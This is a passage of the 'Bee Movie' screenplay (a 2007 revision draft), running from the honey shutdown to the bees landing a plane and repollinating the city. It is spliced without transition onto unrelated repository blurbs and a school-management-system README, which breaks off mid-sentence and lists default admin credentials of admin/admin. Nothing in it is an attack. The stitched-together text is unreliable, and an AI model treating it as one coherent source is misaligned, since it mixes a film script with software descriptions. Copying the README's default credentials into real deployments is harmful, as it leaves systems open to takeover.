AGENT (to the bear’s pig friend) He’ll have a little nausea for a few hours, then he’ll be fine. CUT TO: EXT. STING’S HOUSE - MONTAGE ATF&H agents SLAP CUFFS on Sting, who is meditating. STING But it’s just a prance-about stage name! CUT TO: INT. A WOMAN’S SHOWER - MONTAGE A WOMAN is taking a shower, and using honey shampoo. An ATF&H agent pulls the shower curtain aside, and grabs her bottle of shampoo. The woman SCREAMS. The agent turns to the 3 other agents, and Barry. ANGLE ON: Barry looking at the label on the shampoo bottle, shaking his head and writing in his clipboard. CUT TO: EXT. SUPERMARKET CAFE - MONTAGE Another customer, an old lady having her tea with a little jar of honey, gets her face pushed down onto the table and turned to the side by two agents. One of the agents has a gun on her. OLD LADY Can’t breathe. CUT TO: EXT. CENTRAL PARK - MONTAGE An OIL DRUM of honey is connected to Barry’s hive. "Bee Movie" - JS REVISIONS 8/13/07 97. BARRY Bring it in, boys. CUT TO: SEQ. 3650 - “NO MORE WORK” INT. HONEX - MONTAGE ANGLE ON: The honey goes past the 3-cup hash-mark, and begins to overflow. A WORKER BEE runs up to Buzzwell. WORKER BEE 1 Mr. Buzzwell, we just passed 3 cups, and there’s gallons mores coming. I think we need to shutdown. KEYCHAIN BEE (to Buzzwell) Shutdown? We’ve never shutdown. ANGLE ON: Buzzwell overlooking the factory floor. BUZZWELL Shutdown honey production! Stop making honey! ANGLE ON: TWO BEES, each with a KEY. BUZZWELL (CONT’D) Turn your key, Sir! They turn the keys simultaneously, War Games-style, shutting down the honey machines. ANGLE ON: the Taffy-Pull machine, Centrifuge, and Krelman all slowly come to a stop. The bees look around, bewildered. WORKER BEE 5 What do we do now? A BEAT. WORKER BEE 6 Cannon ball!! He jumps into a HONEY VAT, doesn’t penetrate the surface. He looks around, and slowly sinks down to his waist. "Bee Movie" - JS REVISIONS 8/13/07 98. EXT. HONEX FACTORY THE WHISTLE BLOWS, and the bees all stream out the exit. CUT TO: INT. J-GATE - CONTINUOUS Lou Loduca gives orders to the pollen jocks. LOU LODUCA We’re shutting down honey production. Mission abort. CUT TO: EXT. CENTRAL PARK Jackson receives the orders, mid-pollination. JACKSON Aborting pollination and nectar detail. Returning to base. CUT TO: EXT. NEW HIVE CITY ANGLE ON: Bees, putting sun-tan lotion on their noses and antennae, and sunning themselves on the balconies of the gyms. CUT TO: EXT. CENTRAL PARK ANGLE ON: THE FLOWERS starting to DROOP. CUT TO: INT. J-GATE J-Gate is deserted. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 99. EXT. NEW HIVE CITY ANGLE ON: Bees sunning themselves. A TIMER DINGS, and they all turn over. CUT TO: EXT. CENTRAL PARK TIME LAPSE of Central Park turning brown. CUT TO: EXT. VANESSA’S FLORIST SHOP CLOSE-UP SHOT: Vanessa writes “Sorry. No more flowers.” on a “Closed” sign, an turns it facing out. CUT TO: SEQ. 3700 - “IDLE HIVE” EXT. NEW HIVE CITY - DAY Barry flies at high speed. TRACKING SHOT into the hive, through the lobby of Honex, and into Adam’s office. CUT TO: INT. ADAM’S OFFICE - CONTINUOUS Barry meets Adam in his office. Adam’s office is in disarray. There are papers everywhere. He’s filling up his cardboard hexagon box. BARRY (out of breath) Adam, you wouldn’t believe how much honey was out there. ADAM Oh yeah? BARRY What’s going on around here? Where is everybody? Are they out celebrating? "Bee Movie" - JS REVISIONS 8/13/07 100. ADAM (exiting with a cardboard box of belongings) No, they’re just home. They don’t know what to do. BARRY Hmmm. ADAM They’re laying out, they’re sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. BARRY At least we got our honey back. They walk through the empty factory. ADAM Yeah, but sometimes I think, so what if the humans liked our honey? Who wouldn’t? It’s the greatest thing in the world. I was excited to be a part of making it. ANGLE ON: Adam’s desk on it’s side in the hall. ADAM (CONT’D) This was my new desk. This was my new job. I wanted to do it really well. And now...and now I can’t. Adam EXITS. CUT TO: SEQ. 3900 - “WORLD WITHOUT BEES” INT. STAIRWELL Vanessa and Barry are walking up the stairs to the roof. BARRY I don’t understand why they’re not happy. We have so much now. I thought their lives would be better. "Bee Movie" - JS REVISIONS 8/13/07 101. VANESSA Hmmm. BARRY They’re doing nothing. It’s amazing, honey really changes people. VANESSA You don’t have any idea what’s going on, do you? BARRY What did you want to show me? VANESSA This. They reach the top of the stairs. Vanessa opens the door. CUT TO: EXT. VANESSA’S ROOFTOP - CONTINUOUS Barry sees Vanessa’s flower pots and small garden have all turned brown. BARRY What happened here? VANESSA That is not the half of it... Vanessa turns Barry around with her two fingers, revealing the view of Central Park, which is also all brown. BARRY Oh no. Oh my. They’re all wilting. VANESSA Doesn’t look very good, does it? BARRY No. VANESSA And who’s fault do you think that is? "Bee Movie" - JS REVISIONS 8/13/07 102. BARRY Mmmm...you know, I’m going to guess, bees. VANESSA Bees? BARRY Specifically me. I guess I didn’t think that bees not needing to make honey would affect all these other things. VANESSA And it’s not just flowers. Fruits, vegetables...they all need bees. BARRY Well, that’s our whole SAT test right there. VANESSA So, you take away the produce, that affects the entire animal kingdom. And then, of course... BARRY The human species? VANESSA (clearing throat) Ahem! BARRY Oh. So, if there’s no more pollination, it could all just go south here, couldn’t it? VANESSA And I know this is also partly my fault. Barry takes a long SIGH. BARRY How about a suicide pact? VANESSA (not sure if he’s joking) How would we do it? BARRY I’ll sting you, you step on me. "Bee Movie" - JS REVISIONS 8/13/07 103. VANESSA That just kills you twice. BARRY Right, right. VANESSA Listen Barry. Sorry but I’ve got to get going. She EXITS. BARRY (looking out over the park) Had to open my mouth and talk... (looking back) Vanessa..? Vanessa is gone. CUT TO: SEQ. 3935 - “GOING TO PASADENA” EXT. NY STREET - CONTINUOUS Vanessa gets into a cab. Barry ENTERS. BARRY Vanessa. Why are you leaving? Where are you going? VANESSA To the final Tournament of Roses parade in Pasadena. They moved it up to this weekend because all the flowers are dying. It’s the last chance I’ll ever have to see it. BARRY Vanessa, I just want to say I’m sorry. I never meant it to turn out like this. VANESSA I know. Me neither. Vanessa cab drives away. "Bee Movie" - JS REVISIONS 8/13/07 104. BARRY (chuckling to himself) Tournament of Roses. Roses can’t do sports. Wait a minute...roses. Roses? Roses!? Vanessa! Barry follows shortly after. He catches up to it, and he pounds on the window. Barry follows shortly after Vanessa’s cab. He catches up to it, and he pounds on the window. INT. TAXI - CONTINUOUS Barry motions for her to roll the window down. She does so. BARRY Roses?! VANESSA Barry? BARRY (as he flies next to the cab) Roses are flowers. VANESSA Yes, they are. BARRY Flowers, bees, pollen! VANESSA I know. That’s why this is the last parade. BARRY Maybe not. The cab starts pulling ahead of Barry. BARRY (CONT'D) (re: driver) Could you ask him to slow down? VANESSA Could you slow down? The cabs slows. Barry flies in the window, and lands in the change box, which closes on him. "Bee Movie" - JS REVISIONS 8/13/07 105. VANESSA (CONT'D) Barry! Vanessa lets him out. Barry stands on the change box, in front of the driver’s license. BARRY Okay, I made a huge mistake! This is a total disaster, and it’s all my fault! VANESSA Yes, it kind of is. BARRY I’ve ruined the planet. And, I wanted to help with your flower shop. Instead, I’ve made it worse. VANESSA Actually, it’s completely closed down. BARRY Oh, I thought maybe you were remodeling. Nonetheless, I have another idea. And it’s greater than all my previous great ideas combined. VANESSA I don’t want to hear it. Vanessa closes the change box on Barry. BARRY (opening it again) Alright, here’s what I’m thinking. They have the roses, the roses have the pollen. I know every bee, plant, and flower bud in this park. All we’ve got to do is get what they’ve got back here with what we’ve got. VANESSA Bees... BARRY Park... VANESSA Pollen... "Bee Movie" - JS REVISIONS 8/13/07 106. BARRY Flowers... VANESSA Repollination! BARRY (on luggage handle, going up) Across the nation! CUT TO: SEQ. 3950 - “ROSE PARADE” EXT. PASADENA PARADE BARRY (V.O) Alright. Tournament of Roses. Pasadena, California. They’ve got nothing but flowers, floats, and cotton candy. Security will be tight. VANESSA I have an idea. CUT TO: EXT. FLOAT STAGING AREA ANGLE ON: Barry and Vanessa approaching a HEAVILY ARMED GUARD in front of the staging area. VANESSA Vanessa Bloome, FTD. Official floral business. He leans in to look at her badge. She SNAPS IT SHUT, VANESSA (CONT’D) Oh, it’s real. HEAVILY ARMED GUARD Sorry ma’am. That’s a nice brooch, by the way. VANESSA Thank you. It was a gift. "Bee Movie" - JS REVISIONS 8/13/07 107. They ENTER the staging area. BARRY (V.O) Then, once we’re inside, we just pick the right float. VANESSA How about the Princess and the Pea? BARRY Yeah. VANESSA I can be the princess, and-- BARRY ...yes, I think-- VANESSA You could be-- BARRY I’ve-- VANESSA The pea. BARRY Got it. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER Barry, dressed as a PEA, flies up and hovers in front of the princess on the “Princess and the Pea” float. The float is sponsored by Inflat-a-bed and a SIGN READS: “Inflat-a-bed: If it blows, it’s ours.” BARRY Sorry I’m late. Where should I sit? PRINCESS What are you? BARRY I believe I’m the pea. PRINCESS The pea? It’s supposed to be under the mattresses. "Bee Movie" - JS REVISIONS 8/13/07 108. BARRY Not in this fairy tale, sweetheart. PRINCESS I’m going to go talk to the marshall. BARRY You do that. This whole parade is a fiasco! She EXITS. Vanessa removes the step-ladder. The princess FALLS. Barry and Vanessa take off in the float. BARRY (CONT’D) Let’s see what this baby will do. ANGLE ON: Guy with headset talking to drivers. HEADSET GUY Hey! The float ZOOMS by. A young CHILD in the stands, TIMMY, cries. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER ANGLE ON: Vanessa putting the princess hat on. BARRY (V.O) Then all we do is blend in with traffic, without arousing suspicion. CUT TO: EXT. THE PARADE ROUTE - CONTINUOUS The floats go flying by the crowds. Barry and Vanessa’s float CRASHES through the fence. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 109. EXT. LA FREEWAY Vanessa and Barry speed, dodging and weaving, down the freeway. BARRY (V.O) And once we’re at the airport, there’s no stopping us. CUT TO: EXT. LAX AIRPORT Barry and Vanessa pull up to the curb, in front of an TSA AGENT WITH CLIPBOARD. TSA AGENT Stop. Security. Did you and your insect pack your own float? VANESSA (O.C) Yes. TSA AGENT Has this float been in your possession the entire time? VANESSA (O.C) Since the parade...yes. ANGLE ON: Barry holding his shoes. TSA AGENT Would you remove your shoes and everything in your pockets? Can you remove your stinger, Sir? BARRY That’s part of me. TSA AGENT I know. Just having some fun. Enjoy your flight. CUT TO: EXT. RUNWAY Barry and Vanessa’s airplane TAKES OFF. "Bee Movie" - JS REVISIONS 8/13/07 110. BARRY (O.C) Then, if we’re lucky, we’ll have just enough pollen to do the job. DISSOLVE TO: SEQ. 4025 - “COCKPIT FIGHT” INT. AIRPLANE Vanessa is on the aisle. Barry is on a laptop calculating flowers, pollen, number of bees, airspeed, etc. He does a “Stomp” dance on the keyboard. BARRY Can you believe how lucky we are? We have just enough pollen to do the job. I think this is going to work, Vanessa. VANESSA It’s got to work. PILOT (V.O) Attention passengers. This is Captain Scott. I’m afraid we have a bit of bad weather in the New York area. And looks like we’re going to be experiencing a couple of hours delay. VANESSA Barry, these are cut flowers with no water. They’ll never make it. BARRY I’ve got to get up there and talk to these guys. VANESSA Be careful. Barry flies up to the cockpit door. CUT TO: INT. COCKPIT - CONTINUOUS A female flight attendant, ANGELA, is in the cockpit with the pilots. "Bee Movie" - JS REVISIONS 8/13/07 111. There’s a KNOCK at the door. BARRY (C.O) Hey, can I get some help with this Sky Mall Magazine? I’d like to order the talking inflatable travel pool filter. ANGELA (to the pilots, irritated) Excuse me. CUT TO: EXT. CABIN - CONTINUOUS Angela opens the cockpit door and looks around. She doesn’t see anybody. ANGLE ON: Barry hidden on the yellow and black “caution” stripe. As Angela looks around, Barry zips into the cockpit. CUT TO: INT. COCKPIT BARRY Excuse me, Captain. I am in a real situation here... PILOT (pulling an earphone back, to the co-pilot) What did you say, Hal? CO-PILOT I didn’t say anything. PILOT (he sees Barry) Ahhh! Bee! BARRY No, no! Don’t freak out! There’s a chance my entire species-- CO-PILOT (taking off his earphones) Ahhh! "Bee Movie" - JS REVISIONS 8/13/07 112. The pilot grabs a “DUSTBUSTER” vacuum cleaner. He aims it around trying to vacuum up Barry. The co-pilot faces camera, as the pilot tries to suck Barry up. Barry is on the other side of the co-pilot. As they dosey-do, the toupee of the co-pilot begins to come up, still attached to the front. CO-PILOT (CONT'D) What are you doing? Stop! The toupee comes off the co-pilot’s head, and sticks in the Dustbuster. Barry runs across the bald head. BARRY Wait a minute! I’m an attorney! CO-PILOT Who’s an attorney? PILOT Don’t move. The pilot uses the Dustbuster to try and mash Barry, who is hovering in front of the co-pilot’s nose, and knocks out the co-pilot who falls out of his chair, hitting the life raft release button. The life raft inflates, hitting the pilot, knocking him into a wall and out cold. Barry surveys the situation. BARRY Oh, Barry. CUT TO: INT. AIRPLANE CABIN Vanessa studies her laptop, looking serious. SFX: PA CRACKLE. BARRY (V.O) (in captain voice) Good afternoon passengers, this is your captain speaking. Would a Miss Vanessa Bloome in 24F please report to the cockpit. And please hurry! "Bee Movie" - JS REVISIONS 8/13/07 113. ANGLE ON: The aisle, and Vanessa head popping up. CUT TO: INT. COCKPIT Vanessa ENTERS. VANESSA What happened here? BARRY I tried to talk to them, but then there was a Dustbuster, a toupee, a life raft exploded...Now one’s bald, one’s in a boat, and they’re both unconscious. VANESSA Is that another bee joke? BARRY No. No one’s flying the plane. The AIR TRAFFIC CONTROLLER, BUD, speaks over the radio. BUD This is JFK control tower. Flight 356, what’s your status? Vanessa presses a button, and the intercom comes on. VANESSA This is Vanessa Bloome. I’m a florist from New York. BUD Where’s the pilot? VANESSA He’s unconscious and so is the copilot. BUD Not good. Is there anyone onboard who has flight experience? A BEAT. BARRY As a matter of fact, there is. "Bee Movie" - JS REVISIONS 8/13/07 114. BUD Who’s that? VANESSA Barry Benson. BUD From the honey trial? Oh great. BARRY Vanessa, this is nothing more than a big metal bee. It’s got giant wings, huge engines. VANESSA I can’t fly a plane. BARRY Why not? Isn’t John Travolta a pilot? VANESSA Yes? BARRY How hard could it be? VANESSA Wait a minute. Barry, we’re headed into some lightning. CUT TO: Vanessa shrugs, and takes the controls. SEQ. 4150 - “BARRY FLIES PLANE” INT. BENSON HOUSE The family is all huddled around the TV at the Benson house. ANGLE ON: TV. Bob Bumble is broadcasting. BOB BUMBLE This is Bob Bumble. We have some late-breaking news from JFK airport, where a very suspenseful scene is developing. Barry Benson, fresh off his stunning legal victory... "Bee Movie" - JS REVISIONS 8/13/07 115. Adam SPRAYS a can of HONEY-WHIP into his mouth. ADAM That’s Barry. BOB BUMBLE ...is now attempting to land a plane, loaded with people, flowers, and an incapacitated flight crew. EVERYONE Flowers?! CUT TO: INT. AIR TRAFFIC CONTROL TOWER BUD Well, we have an electrical storm in the area, and two individuals at the controls of a jumbo jet with absolutely no flight experience. JEANETTE CHUNG Just a minute, Mr. Ditchwater, there’s a honey bee on that plane. BUD Oh, I’m quite familiar with Mr. Benson’s work, and his no-account compadres. Haven’t they done enough damage already? JEANETTE CHUNG But isn’t he your only hope right now? BUD Come on, technically a bee shouldn’t be able to fly at all. CUT TO: INT. COCKPIT. Barry REACTS BUD The wings are too small, their bodies are too big-- "Bee Movie" - JS REVISIONS 8/13/07 116. BARRY (over PA) Hey, hold on a second. Haven’t we heard this million times? The surface area of the wings, and the body mass doesn’t make sense? JEANETTE CHUNG Get this on the air. CAMERAMAN You got it! CUT TO: INT. BEE TV CONTROL ROOM An engineer throws a switch. BEE ENGINEER Stand by. We’re going live. The “ON AIR” sign illuminates. CUT TO: INT. VARIOUS SHOTS OF NEW HIVE CITY The news report plays on TV. The pollen jocks are sitting around, playing paddle-ball, Wheel-o, and one of them is spinning his helmet on his finger. Buzzwell is in an office cubicle, playing computer solitaire. Barry’s family and Adam watch from their living room. Bees sitting on the street curb turn around to watch the TV. BARRY Mr. Ditchwater, the way we work may be a mystery to you, because making honey takes a lot of bees doing a lot of small jobs. But let me tell you something about a small job. If you do it really well, it makes a big difference. More than we realized. To us, to everyone. That’s why I want to get bees back to doing what we do best. "Bee Movie" - JS REVISIONS 8/13/07 117. Working together. That’s the bee way. We’re not made of Jello. We get behind a fellow. Black and yellow. CROWD OF BEES Hello! CUT TO: INT. COCKPIT Barry is giving orders to Vanessa. BARRY Left, right, down, hover. VANESSA Hover? BARRY Forget hover. VANESSA You know what? This isn’t so hard. Vanessa pretends to HONK THE HORN. VANESSA (CONT’D) Beep, beep! Beep, beep! A BOLT OF LIGHTNING HITS the plane. The plane takes a sharp dip. VANESSA (CONT’D) Barry, what happened? BARRY (noticing the control panel) Wait a minute. I think we were on autopilot that whole time. VANESSA That may have been helping me. BARRY And now we’re not! VANESSA (V.O.) (folding her arms) Well, then it turns out I cannot fly a plane. "Bee Movie" - JS REVISIONS 8/13/07 118. BARRY (CONT'D) Vanessa struggles with the yoke. CUT TO: EXT. AIRPLANE The airplane goes into a steep dive. CUT TO: SEQ. 4175 - “CRASH LANDING” INT. J-GATE An ALERT SIGN READING: “Hive Alert. We Need:” Then the SIGNAL goes from “Two Bees” “Some Bees” “Every Bee There Is” Lou Loduca gathers the pollen jocks at J-Gate. LOU LODUCA All of you, let’s get behind this fellow. Move it out! The bees follow Lou Loduca, and EXIT J-Gate. CUT TO: INT. AIRPLANE COCKPIT BARRY Our only chance is if I do what I would do, and you copy me with the wings of the plane! VANESSA You don’t have to yell. BARRY I’m not yelling. We happen to be in a lot of trouble here. VANESSA It’s very hard to concentrate with that panicky tone in your voice. BARRY It’s not a tone. I’m panicking! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 119. EXT. JFK AIRPORT ANGLE ON: The bees arriving and massing at the airport. CUT TO: INT. COCKPIT Barry and Vanessa alternately SLAP EACH OTHER IN THE FACE. VANESSA I don’t think I can do this. BARRY Vanessa, pull yourself together. Listen to me, you have got to snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! CUT TO: EXT. AIRPLANE A GIGANTIC SWARM OF BEES flies in to hold the plane up. CUT TO: INT. COCKPIT - CONTINUOUS BARRY You snap out of it! VANESSA You snap out of it! "Bee Movie" - JS REVISIONS 8/13/07 120. BARRY You snap-- VANESSA Hold it! BARRY (about to slap her again) Why? Come on, it’s my turn. VANESSA How is the plane flying? Barry’s antennae ring. BARRY I don’t know. (answering) Hello? CUT TO: EXT. AIRPLANE ANGLE ON: The underside of the plane. The pollen jocks have massed all around the underbelly of the plane, and are holding it up. LOU LODUCA Hey Benson, have you got any flowers for a happy occasion in there? CUT TO: INT. COCKPIT Lou, Buzz, Splitz, and Jackson come up alongside the cockpit. BARRY The pollen jocks! VANESSA They do get behind a fellow. BARRY Black and yellow. LOU LODUCA (over headset) Hello. "Bee Movie" - JS REVISIONS 8/13/07 121. Alright you two, what do you say we drop this tin can on the blacktop? VANESSA What blacktop? Where? I can’t see anything. Can you? BARRY No, nothing. It’s all cloudy. CUT TO: EXT. RUNWAY Adam SHOUTS. ADAM Come on, you’ve got to think bee, Barry. Thinking bee, thinking bee. ANGLE ON: Overhead shot of runway. The bees are in the formation of a flower. In unison they move, causing the flower to FLASH YELLOW AND BLACK. BEES (chanting) Thinking bee, thinking bee. CUT TO: INT. COCKPIT We see through the swirling mist and clouds. A GIANT SHAPE OF A FLOWER is forming in the middle of the runway. BARRY Wait a minute. I think I’m feeling something. VANESSA What? BARRY I don’t know, but it’s strong. And it’s pulling me, like a 27 million year old instinct. Bring the nose of the plane down. "Bee Movie" - JS REVISIONS 8/13/07 122. LOU LODUCA (CONT'D) EXT. RUNWAY All the bees are on the runway chanting “Thinking Bee”. CUT TO: INT. CONTROL TOWER RICK What in the world is on the tarmac? ANGLE ON: Dave OTS onto runway seeing a flower being formed by millions of bees. BUD Get some lights on that! CUT TO: EXT. RUNWAY ANGLE ON: AIRCRAFT LANDING LIGHT SCAFFOLD by the side of the runway, illuminating the bees in their flower formation. INT. COCKPIT BARRY Vanessa, aim for the flower! VANESSA Oh, okay? BARRY Cut the engines! VANESSA Cut the engines? BARRY We’re going in on bee power. Ready boys? LOU LODUCA Affirmative. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 123. INT. AIRPLANE COCKPIT BARRY Good, good, easy now. Land on that flower! Ready boys? Give me full reverse. LOU LODUCA Spin it around! The plane attempts to land on top of an “Aloha Airlines” plane with flowers painted on it. BARRY (V.O) I mean the giant black and yellow pulsating flower made of millions of bees! VANESSA Which flower? BARRY That flower! VANESSA I’m aiming at the flower! The plane goes after a FAT GUY IN A HAWAIIAN SHIRT. BARRY (V.O) That’s a fat guy in a flowered shirt! The other other flower! The big one. He snaps a photo and runs away. BARRY (CONT'D) Full forward. Ready boys? Nose down. Bring your tail up. Rotate around it. VANESSA Oh, this is insane, Barry. BARRY This is the only way I know how to fly. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 124. AIR TRAFFIC CONTROL TOWER BUD Am I koo-koo kachoo, or is this plane flying in an insect-like pattern? CUT TO: EXT. RUNWAY BARRY (V.O) Get your nose in there. Don’t be afraid of it. Smell it. Full reverse! Easy, just drop it. Be a part of it. Aim for the center! Now drop it in. Drop it in, woman! The plane HOVERS and MANEUVERS, landing in the center of the giant flower, like a bee. The FLOWERS from the cargo hold spill out onto the runway. INT. AIPLANE CABIN The passengers are motionless for a beat. PASSENGER Come on already! They hear the “ding ding”, and all jump up to grab their luggage out of the overheads. SEQ. 4225 - “RUNWAY SPEECH” EXT. RUNWAY - CONTINUOUS The INFLATABLE SLIDES pop out the side of the plane. The passengers escape. Barry and Vanessa slide down out of the cockpit. Barry and Vanessa exhale a huge breath. VANESSA Barry, we did it. You taught me how to fly. Vanessa raises her hand up for a high five. "Bee Movie" - JS REVISIONS 8/13/07 125. BARRY Yes. No high five. VANESSA Right. ADAM Barry, it worked. Did you see the giant flower? BARRY What giant flower? Where? Of course I saw the flower! That was genius, man. Genius! ADAM Thank you. BARRY But we’re not done yet. Barry flies up to the wing of the plane, and addresses the bee crowd. BARRY (CONT’D) Listen everyone. This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We’re the only ones who make honey, pollinate flowers, and dress like this. If we’re going to survive as a species, this is our moment. So what do you all say? Are we going to be bees, or just Museum of Natural History key chains? BEES We’re bees! KEYCHAIN BEE Keychain! BARRY Then follow me... Except Keychain. BUZZ Hold on Barry. You’ve earned this. Buzz puts a pollen jock jacket and helmet with Barry’s name on it on Barry. "Bee Movie" - JS REVISIONS 8/13/07 126. BARRY I’m a pollen jock! (looking at the jacket. The sleeves are a little long) And it’s a perfect fit. All I’ve got to do are the sleeves. The Pollen Jocks toss Barry a gun. BARRY (CONT’D) Oh yeah! ANGLE ON: Martin and Janet Benson. JANET BENSON That’s our Barry. All the bees descend upon the flowers on the tarmac, and start collecting pollen. CUT TO: SEQ. 4250 - “RE-POLLINATION” EXT. SKIES - CONTINUOUS The squadron FLIES over the city, REPOLLINATING trees and flowers as they go. Barry breaks off from the group, towards Vanessa’s flower shop. CUT TO: EXT. VANESSA’S FLOWER SHOP - CONTINUOUS Barry REPOLLINATES Vanessa’s flowers. CUT TO: EXT. CENTRAL PARK - CONTINUOUS ANGLE ON: Timmy with a frisbee, as the bees fly by. TIMMY Mom, the bees are back! "Bee Movie" - JS REVISIONS 8/13/07 127. Central Park is completely repollinated by the bees. DISSOLVE TO: INT. HONEX - CONTINUOUS Honex is back to normal and everyone is busily working. ANGLE ON: Adam, putting his Krelman hat on. ADAM If anyone needs to make a call, now’s the time. I’ve got a feeling we’ll be working late tonight! The bees CHEER. CUT TO: SEQ. 4355 EXT: VANESSA’S FLOWER SHOP With a new sign out front. “Vanessa & Barry: Flowers, Honey, Legal Advice” DISSOLVE TO: INT: FLOWER COUNTER Vanessa doing a brisk trade with many customers. CUT TO: INT: FLOWER SHOP - CONTINUOUS Vanessa is selling flowers. In the background, there are SHELVES STOCKED WITH HONEY. VANESSA (O.C.) Don’t forget these. Have a great afternoon. Yes, can I help who’s next? Who’s next? Would you like some honey with that? It is beeapproved. SIGN ON THE BACK ROOM DOOR READS: “Barry Benson: Insects at Law”. "Bee Movie" - JS REVISIONS 8/13/07 128. Camera moves into the back room. ANGLE ON: Barry. ANGLE ON: Barry’s COW CLIENT. COW Milk, cream, cheese...it’s all me. And I don’t see a nickel. BARRY Uh huh? Uh huh? COW (breaking down) Sometimes I just feel like a piece of meat. BARRY I had no idea. VANESSA Barry? I’m sorry, have you got a moment? BARRY Would you excuse me? My mosquito associate here will be able to help you. Mooseblood ENTERS. MOOSEBLOOD Sorry I’m late. COW He’s a lawyer too? MOOSEBLOOD Ma’am, I was already a bloodsucking parasite. All I needed was * a briefcase. * ANGLE ON: Flower Counter. VANESSA (to customer) Have a great afternoon! (to Barry) Barry, I just got this huge tulip order for a wedding, and I can’t get them anywhere. "Bee Movie" - JS REVISIONS 8/13/07 129. BARRY Not a problem, Vannie. Just leave it to me. Vanessa turns back to deal with a customer. VANESSA You’re a life-saver, Barry. (to the next customer) Can I help who’s next? Who’s next? ANGLE ON: Vanessa smiling back at Barry. Barry smiles too, then snaps himself out of it. BARRY (speaks into his antennae) Alright. Scramble jocks, it’s time to fly! VANESSA Thank you, Barry! EXT. FLOWER SHOP - CONTINUOUS ANGLE ON: Ken and Andy walking down the street. KEN (noticing the new sign) Augh! What in the world? It’s that bee again! ANDY (guiding Ken protectively) Let it go, Kenny. KEN That bee is living my life! When will this nightmare end? ANDY Let it all go. They don’t break stride. ANGLE ON: Camera in front of Barry as he flies out the door and up into the sky. Pollen jocks fold in formation behind him as they zoom into the park. BARRY (to Splitz) Beautiful day to fly. "Bee Movie" - JS REVISIONS 8/13/07 130. JACKSON Sure is. BARRY Between you and me, I was dying to get out of that office. FADE OUT: "Bee Movie" - JS REVISIONS 8/13/07 131.
trentbrooks
The AntiMap is an Open Source creative toolset for recording and visualising your own data. The project currently consists of a smart phone utility application (AntiMap Log) for data capture, and a couple of web/desktop applications (AntiMap Simple and AntiMap Video) for post analysis and data visualisation.
2b-as
Convert log messages by phones with XGold baseband processor back to GSM/UMTS radio messages
wejhink
Phone Login through Django Login.
novotnyllc
A lightweight logging system designed specifically for Windows Store and Windows Phone 8 apps.
renatobo
A GPS setup to log your track lap times, based on ESP32, with the ability to interface with several mobile phone apps that log your speed and position via Bluetooth Low Energy, Bluetooth or WiFi
OPTIMUM-LINKUP
This is the latest school management system. Available for all type of schools. will work on Phone, Laptop, Tabs, monitors - any screen size. It is available with 100% source code. The features are listed below: INSTALLATION Upload the downloaded zip file to your server in the public_html directory. Extract the zip file. Create a new database from your server mysql. Create user to the database and link the database to the user. Open the file database.php from the directory yourfolder/application/config/database.php. Fill up this information with your database hostname, database username, database password, database name respectively which you have created in the previous step. Now from server phpmyadmin go to your database. Select import and choose the file install.sql located in yourfolder/database/blank_db.sql (demo_db.sql for demo database) And you are ready to go now to browse the application Default admin credentials Email: admin@admin.com Password: admin ADMIN PANEL Managing User accounts (teacher, student, parent) Managing classes, subjects Managing exam, grades Managing exam marks Managing Loan Information Managing Computer Based Test (CBT) Sending exam marks via sms Managing students attendance Managing accounting, income and expenses Managing school events Managing Teachers Managing Libratrian Managing Accountant Manage Circular Manage Task Managing Parents Managing Alumni Managing Academic Sysllabus Managing Helpful Links Managing Help Desk Managing Front-End Information Managing School Session Attendance Reports Managing Staff ID Cards Records management. Notification board management. Management relationships between different type of users. Online Payment acceptance of FEE. Section Management. Reports generator. SMS Alerts. Managing Hostel Manager Managing library, dormitory, transport Messaging between other users Managing system settings (general, sms, language) Managing Media Subject management. Class management. Student payments management. Student behaviour management. Payments Overview. Subjects and assignments management. Fees management. Student assignment results management. Student search. Overdue students list. Student management. Student-Teacher interaction. And many more … TEACHERS Manage Students homework. Assign homework. Share homework on social networking sites (facebook). Manage classes. Manage Student Report. Generate Remarks on Student Reports. Generate Student Attendence. Subject management. Loan Application Class management. Student behaviour management. Subjects and assignments management. Student assignment results management. Student search. Student management. Student-Teacher interaction. Managing Helpful Links Managing Media Assignments Attendance Provide Daily Quotes Holidays Studennts Study Materials Message Noticeboard Transportations And many more… STUDENT PANEL Get class Routine Attempt Online Exam View Online Exam Result Get Exam Marks Message View Noticeboard Transportatio Receive SMS Get attendance status Get study materials / files from teacher Get payment invoice, Pay Online Communicate with teacher Managing Media accounts View Event Schedule, Notice and Holidays Get Helpful Links View Daily Quotes Contact Help Desks And many more …. PARENT PANEL View Children Marks View Children Class Routine Make payment View Payment Invoice Message Admin Message Teachers View Received Messkages Checkin kids progress. Parent-Teacher interaction. Get alerts from School Administration or Teachers. View events Noticeborad Todays Thought News Helpful Links Help Desk Receive SMS And many more … LIBRARIAN Add books Update books Record Lost Books Generate Reports on Books Subject Management. Loan Application Student Search. Student Management. Student-Librarian Interaction. View Helpful Links View Media Holidays Studennts Study Materials Message Transportations Noticeboard View Notification And many more …. ACCOUNTANTS Create Student Payments Students Payment Expenses Expenses Category Vew all Accountants Loan Application Todays Thought News Holidays Message k Noticeboard And many more …. HOSTEL MANAGER ViewAll Hostel Managers Manage Hostels Loan Application Todays Thought News Holidays Message Noticeboard And many more …. ………………………………………………………………………………………………… ADMIN PANEL DASHBORD ………………………………………………………………………………………………… Total number of students, teachers, librarian, accountants, hostel manager, alumni, parents and attendance of students for that day at a glance, Dashboard also holds a calendar for showing events, charts for various percentages of teachers, parents, students attendance, grades, students performances, etc. MANAGING SESSION From navigation go to manage session Add / edit / delete MANAGING ACADEMIC SYLLABUS From navigation go to manage academic syllabus Add / edit / delete MANAGING MEDIA From navigation go to manage media Add / edit / delete MANAGING STUDENTS Admit Students From navigation, go to students > admit students Fill up the necessary information Save student Admit Bulk Students From navigation, go to student > admit bulk student Download the blank Excel file Fill up the information Select class Upload the filled up Excel file Save Student Information From navigation go to student > student information Here you can see the students class wise If a class has sections then you can also browse the students as per class sections Student mark sheets From navigation go to student > student mark sheet Here you can see all the students marks class wise If the class has sections then you can also see 